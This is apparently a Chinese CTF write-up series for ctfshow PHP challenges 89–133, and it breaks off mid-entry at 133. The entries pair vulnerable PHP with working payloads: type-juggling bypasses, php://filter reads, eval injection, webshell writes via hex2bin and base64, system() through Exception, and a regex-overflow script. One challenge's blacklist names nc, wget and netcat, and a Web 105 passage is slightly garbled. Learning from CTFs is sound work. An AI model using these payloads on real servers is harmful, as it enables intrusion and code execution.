Web 89
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
intval函数:如果他的值为一个数组,只要数组里面有值,那么不论值的数量,返回值都为1,空数组则返回0
preg_match() 函数:利用数组绕过正则匹配,使其返回值发生错误而为false
所以利用数组绕过
payload:?num[]=1
Web 90
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
===强类型对比,可以使用进制转换进行绕过。补充==:弱类型对比,添加+符号或者.0也成立。
intval($num,0): 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 “0x” (或“0X”) 的前缀,使用 16 进制 (hex);否则, 如果字符串以 “0” 开始,使用 8 进制(octal);否则, 将使用 10进制 (decimal)。
payload:?num=010574(采用八进制4476绕过)
Web 91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
正则表达式修饰符
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
payload:?cmd=%0aphp(满足第一个和第二个if绕过第二个匹配)
Web 92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这边是:
==
:弱类型对比,使用浮点数则使得==
不成立;intval()
将浮点数转化为整型,使得条件成立。
payload:?num=4476.1
也可以十六进制绕过
?num=0x17c
Web 93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
把a-z过滤了,十六进制绕过不可用了,可以使用浮点类型绕过
payload:?num=4476.1
八进制绕过也可以
?num=010574
Web 94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
注意这里的 !strpos(), strops() 返回对应字符第一次出现的位置,如果我们使用八进制 010574, strpos(“010574”, “0”) 返回0, 也就是 false, 加了 ! 后反而变成 true 采用小数点绕过,使用 4476.0, 第一个if语句因为是强等于号,可以绕过,第四个if因为 intval() 是一个取整函数, 非整数部分都会被截断, 包括字符串
payload:?num=4476.0
Web 95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
看到还绕过了’.’所以小数点绕过用不了了,所以采用%0a和八进制绕过,利用换行绕过,换行不会影响strpos匹配相应的字符。
payload:?num=%0a010574
也可+和八进制绕过
?num=+010574
Web 96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
直接利用php伪协议读就完事了
payload:?u=php://filter/convert.base64-encode/resource=flag.php
Web 97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5弱类型比较可以直接数组绕过,其结果都会转换为null
a[]=1&b[]=0
Web 98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
& 为 php 的引用,在PHP 中引用的意思是: 不同的名字访问同一个变量内容. 与C语言中的指针是有差别的. C语言中的指针里面存储的是变量的内容, 在内存中存放的地址.
• 如果 $GET 存在且为真,它会将 $GET 赋值为 $POST,(即下面的 $GET 全部都当作 $_POST),否则为flag
• 然后判断 $POST[‘flag’] 的内容是否为 flag, 是的话把 $COOKIE 的引用给 $GET (即下面的 $GET 全部都当作 $COOKIE)
• 然后判断 $COOKIE[‘flag’] 的内容是否为 flag, 是的话把 $SERVER 的引用给 $GET (即下面的 $GET 全部都当作 $_SERVER’)
- 看懂三元运算符,其格式为:(expr1) ? (expr2):(expr3)。如果expr1为true,则执行expr2;否则,执行expr3。
- 故只要随便让GET进行传参,然后将HTTP_FLAG=flag使用POST传输,最后$_GET[‘HTTP_FLAG’]=flag。 _
- _ FILE:取得当前文件的绝对地址。
get随意传,post传HTTP_FLAG=flag
也可通过抓包改包,按他的顺序走
Web 99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
array_push():向数组尾部插入一个或多个元素。
rand():生成随机数。
in_array(参数1,参数2):搜索数组中是否存在指定的值。第一个参数为要搜索的值,第二个参数为被搜索的数组。
file_put_conntent(filename, data):把一个字符串写入文件中。
绕过in_array():当没有指定第三个参数的时候,in_array就相当于==,弱类型对比。
?n=2.php
content=<?php system('ls');?>
/2.php(flag36d.php)
content=<?php system('cat flag36d.php;?>
Web 100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
is_numeric():用于检测变量是否为数字或数字字符串。因为赋值=的优先级比and优先级高,所以先执行赋值,也就是说V0的值由is_numeric($v1)决定。
所以直接拼接,因为flag在类中,所以可以直接var_dump整个类
?v1=123&v2=print_r($ctfshow)&v3=;
Web 101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
正则的东西还挺多,这边看到使用反射类去读类中的flag
反射(Reflection) 是一种允许程序在运行时检查自身结构的技术。在 PHP 中,反射类主要用于: 获取类的定义信息,例如类的属性、方法、常量等。 动态调用类的方法。 修改类的属性。 检查函数和方法的参数。 常用的反射类 ReflectionClass:用于获取类的详细信息。 ReflectionMethod:用于获取方法的详细信息。 ReflectionProperty:用于获取属性的详细信息。 ReflectionFunction:用于获取函数的详细信息。 ReflectionParameter:用于获取方法或函数参数的详细信息。
?v1=1&v2=echo new ReflectionClass&v3=;
最后要爆破最后一位的flag
Web 102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
is_numeric($var):判断变量是否为数字或数字字符串。
var_dump(is_numeric("0x66"));// 在php5中返回值为true
var_dump(is_numeric("0x66"));// 在php7中返回值为false
substr(string, start):返回字符串的一部分,题目截取两位,所以构造的时候还有记得补两位
call_user_func($callback, parameter):调用函数,第一个参数为被调用的函数,第二个参数为被调用函数所需的参数
file_put_contents(filename, data):把data数据写入filename
hex2bin()
:将十六进制字符转化为ASCII码字符(hex2bin() 是 PHP 中的一个内置函数,用于将十六进制字符串转换为二进制字符串。返回值:成功时返回转换后的二进制字符串;如果输入的十六进制字符串无效,函数返回 false。十六进制字符串的长度必须是偶数,否则 hex2bin() 会返回 false)
整个payload的逻辑就是将经过base64编码、16进制转换后的webshell赋值给v2(16进制后的shell必须为纯数字),然后调用hex2bin将16进制形式的webshell转化为ASCII码形式(因为base64编码所用的字符属于ASCII,故ASCII码形式的webshell也就是base64形式的webshell),然后再使用php伪协议的过滤器,将base64形式的webshell进行解码后,写入到目标文件中。
<?=`cat *`; base64加密后是PD89YGNhdCAqYDs,
16进制编码之后是5044383959474e6864434171594473(还要补两位)
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST: v1=hex2bin
Web 103
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
相比上一题就多了检测php字符串(即检测写入的文件)
一样适用
<?=`cat *`; base64加密后是PD89YGNhdCAqYDs,
16进制编码之后是5044383959474e6864434171594473(还要补两位)
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST: v1=hex2bin
Web 104
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
看到sha()比较,直接数组绕过就完事了
GET:?v2[]=2
POST:v1[]=1
附上官方的payload:
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
Web 105
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
变量覆盖漏洞
这里先是定义了a,b两个变量,分别赋值hello和world。接着,$$a表示将变量a的值变成一个变量即$hello,然后将变量b的值赋给它,最后输出world。 所以在源码中看到$$可以想到变量覆盖漏洞。
同时,还有一些函数也会出现变量覆盖,这里我们就先看以下foreach函数 foreach函数会遍历数组,然后将键名与键值分别赋值给后面的变量,这样就容易产生变量覆盖漏洞
foreach($_GET['a'] as $key=>$value){
$$key=$value;
}
这里我传入参数?a=hello,那么就相当于我传入了一组键值对,键名为a,键值为hello(即$key=a,$value=hello),接着执行$$key=$value,这里就会变成$hello=hello
这边进行了变量覆盖
$$key=$$value其实没有用,因为没有定义,并不能二次赋值
if(!($_POST['flag']==$flag)){
die($error);
}
它首先检查是否存在 $_POST['flag'],也就是POST请求中是否有键为 'flag' 的参数。
然后,它比较 $_POST['flag'] 的值与之前加载的 flag.php 文件中定义的 $flag 变量的值是否相等。
如果这两个值不相等(即 !($_POST['flag']==$flag) 为真),则执行 die($error); 语句,终止脚本执行,并输出 $error 变量的值作为错误信息。
这里利用的是die($error) 来 实 现 的 输 出 , 所 以 让 error)来实现的输出,所以让 error)来实现的输出,所以让key=error也 就 是 suces,也就是 suces同时又因为不满足if所以die被执行,得到flag
GET:?suces=flag
post:error=suces
将suces改为任意也可,关键是覆盖
Web 106
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
sha1(),数组绕过
GET:?v2[]=1
POST:v1[]=0
Web 107
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str($v1,$v2); //把v1的值相应的换成键值对再存入v2
例如:v1=flag=114 那么v2=flag并且值为114(键为flag值为114)
v1=flag=114&index=300的话,
v2就变成一个数组,内容为flag-->114 index-->300(分为这两个键值对)
可以理解为v1的值会赋值给v2
md5()`数组绕过,将数组传入`md5()`会返回`null
GET:?v3[]=1
POST:v1=flag
Web 108
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
ereg()限制password的格式,只能是数字或者字母。但ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。
这里ereg有两个漏洞:
①%00截断及遇到%00则默认为字符串的结束
②当ntf为数组时它的返回值不是FALSE
strrev()
反转字符串
==支持不同的进制进行比较,就比如
16==0x10,这是
true
GET:?c=b%00778
Web 109
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
解释:
正则表示式中+
表示匹配前面的元素一次或多次
toString()方法,将一个对象作为字符串使用时(echo <一个对象>),php会自动调用该对象的 toString()方法来获取字符串表示。注意,__toString()方法在对象被隐式转换为字符串时(echo <一个对象>)才会触发,如果直接调用该方法,不会有任何效果 php中,自带 __toString()
方法的内置类有:DataTime
、Exception
、SimpleXMLElement
Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类 通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果
DataTime
SimpleXMLElement
?v1=Exception&v2=system('ls')
?v1=Exception&v2=system('tac fl36dg.txt')
?v1=DataTime&v2=system('ls')
Web 110
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
filesystemiterator 遍历文件类(PHP 5 >= 5.3.0, PHP 7, PHP 8)
DirectoryIterator 遍历目录类
getcwd()函数 获取当前工作目录 返回当前工作目录
?v1=FilesystemIterator&v2=getcwd
Web 111
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
在PHP中,$a 本身表示一个变量名,而 &$a 并不是表示“a的位置”,而是表示对 $a 变量的引用。(在这里可以认为是地址)
getflag函数
eval("$$v1 = &$$v2;");
//将v2的地址传给v1
var_dump($$v1);
//打印v1
URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null
要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1
且必须有ctfshow
?v1=ctfshow&v2=GLOBALS
Web 112
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file()检查file是不是文件
看到过滤的东西,自动联想到伪协议
?file=php://filter/resource=flag.php
Web 113
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
看到过滤了filter,考虑换利用压缩流读取
?file=compress.zlib://flag.php
官方的是目录溢出让is_file测不出file是文件
/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
暂时还不是很理解为什么,但是确实可以,可能是函数本身存在的漏洞
Web 114
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
发现又可以用filter了
?file=php://filter/resource=flag.php
Web 115
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
将0x,0, . ,e,+都进行了替换,同时还要满足
is_numeric($num) and $num!==’36’ and trim($num)!==’36’ and filter($num)==’36’
trim() 函数移除字符串两侧的空白字符或其他预定义字符。一般是用来去除字符串首尾处的空白字符(或者其他字符),一般在用在服务端对接收的用户数据进行处理,以免把用户误输入的空格存储到数据库,下次对比数据时候出错
关键就在于如何绕过这个trim()
trim函数会过滤空格以及\n\r\t\v\0
,但不会过滤\f
fuzz一下
<?php
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))."\n";
}
}
?>
?num=%0c36
Web 116
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g
此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM=>CTF_SHOW.COM 因为点会被转义,所以才要使用特性使点不转义
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
argv后面会补充
argv是数组,argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看
argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素
是aaa和bbb。argc是数组的长度。
php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]
$argv,$argc在web模式下不适用
cli模式(命令行)下
第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。
当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3
以上示例的输出类似于:
array(4) {
[0]=>
string(10) "script.php"
[1]=>
string(4) "arg1"
[2]=>
string(4) "arg2"
[3]=>
string(4) "arg3"
}
然后现在是网页模式
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]
利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断,用+代表空格
Web 125
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
argv
get:
?$fl0g=flag_give_me;&1=flag.php
post:
CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1])
Web 126
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
一样用
assert() 断言:
PHP 5
bool assert ( mixed $assertion [, string $description ] )
PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加
?$fl0g=flag_give_me
CTF_SHOW=6&CTF[SHOW.COM=6&fun=assert($a[0])
Web 127
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
extract:从数组中将变量导入到当前的符号表
$url = $_SERVER[‘QUERY_STRING’];
获取当前请求的查询字符串(query string),查询字符串是 URL 中位于问号 (?) 之后的部分,通常包含一个或多个参数和值。
之后对查询字符串采用正则匹配过滤掉了一些符号,符合要求则会将 $GET 数组中的键值对作为变量导入到当前的符号表中。换句话说,extract($GET); 会将 URL 查询参数中的每个键值对转换成同名的变量。
空格还可以使用
fuzz一下也可
<?php
function waf($num){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $num)){
return false;
}else{
return true;
}
}
for($i = 0; $i<129; $i++){
$num=chr($i);
if(waf($num)){
echo "未编码:".$num." 经过编码:".urlencode(chr($i))."\n";
}
}
?>
?ctf show=ilove36d
Web 128
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
check($str) 函数检查字符串 $str 是否包含数字或字母,如果包含,返回 false,否则返回 true。 也就是说传入的 f1 不能包含大小写字母和数字。
gettext()拓展函数的用法:
_()是gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数
<?php
echo gettext(666); //输出 666
echo "\n";
echo _("666"); //输出 666
?>
[get_defined_vars()函数:返回由所有已定义变量所组成的数组
因为$flag属于是被定义变量的范畴,所以利用
?f1=_&f2=get_defined_vars
Web 129
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos:查找字符串首次出现的位置(不区分大小写的且该函数是二进制安全的)
readfile: 输出文件
/ctfshow/../../../../var/www/html/flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
Web 130
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
.+?表示匹配任意字符一个或则多个 .*? 表示匹配任意字符0个或多个
匹配前面的子表达式一次或多次。 ? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。 /i不区分大小写 /s 匹配任何空白字符,包括空格、制表符、换页符等等。 题中整个正则表达式的意思就是,以任意一个或多个字符开头,遇到ctfshow就匹配,不区分大小写,不能有任何空白字符。
即ctfshow前面不能有任何字符
php特性:
preg_match不识别数组,否则返回false,匹配一次返回1,没有返回0
if(0 === flase)返回值为false0不是强等于false的
stripos()函数对数组不识别,遇到数组会返回false
?f=ctfshow
?f=ctfshow[]
也可以进行目录溢出
import requests
url="xxxxxxxxxxxxxxx"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
Web 131
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
正则表达式溢出: 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
import requests
url="xxxxxxxxxxxxxxx"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)
Web 132
dirsearch扫一下出现/robots.txt有个/admin得到源码
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
&&
:需要前面和后面的条件都为true,才会返回true
||
:只需要满足其中任意一个就行了
&&比||优先级高
考察php中&&和||运算符应用,对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
?username=admin&code=admin&password=
Web 133
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能 但是,如果我们传递的参数就是$F
